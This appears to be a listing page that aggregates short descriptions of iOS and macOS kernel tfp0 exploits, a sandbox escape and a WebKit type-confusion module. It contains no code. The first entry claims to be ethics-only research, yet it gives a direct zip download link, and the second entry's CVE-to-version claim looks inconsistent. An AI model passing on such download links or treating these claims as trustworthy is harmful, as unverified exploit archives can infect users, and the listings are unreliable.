oob_entry

oobentry：授权iOS内核漏洞研究，用于tfp0访问 访问发布页面：https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip 一个供研究人员在实验室环境中以冷静、谨慎的方式记录、讨论和分享关于与tfp0访问相关的iOS内核概念的空间。本仓库专注于治理、伦理以及可重复的、授权的实验室研究。它不提供即用型的漏洞利用步骤、分发渠道或可能促成未授权访问的指令。目标是促进负责任的学习、开放的讨论以及严谨、合法的测试实践。 目录 概述 目标与伦理 本项目涵盖的内容 安全、授权的研究工作流...

CVE-2019-8852

CVE-2019-8852 A tfp0 bug for macOS 10.15.1 and below. Warranty Use it on your own risk. This will make you macOS panic. I build it for security researchers only. Current state Just a PoC, convert the vulnerability to a useful UAF. Tested on macOS 10.14.6 18G103 , MacBook Pro with 16 GB RAM. Credi...

xattr-oob-swap

xattr-oob-swap CVE-2020-27904: a tfp0 bug for macOS 10.15.x and below. Demo exploit code for my talk at BlackHat ASIA 2021. The vulnerability has been fixed in macOS Big Sur 11.0, and the latest 10.15&10.14 security update. Warranty Use it on your own risk. This will make you macOS panic. I build...

oob_entry

oobentry tfp0 kernel exploit supporting every armv7 iOS version iOS 3.0-10.3.4. The vulnerability used in this exploit is CVE-2023-32434. I will be releasing a write up in the coming weeks about this exploit and methods used...

Exploit for Out-of-bounds Write in Apple Mac_Os_X

CVE-2019-8852 A tfp0 bug for macOS 10.15.1 and below. Warr...

Apple iOS/macOS - Sandbox Escape due to mach Message sent from Shared Memory

iohideventsystem sets up a shared memory event queue; at the end of this shared memory buffer it puts a mach message which it sends whenever it wants to notify a client that there's data available in the queue. As a client we can modify this mach message such that the server hidd on MacOS,...

Safari Webkit Proxy Object Type Confusion

This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e....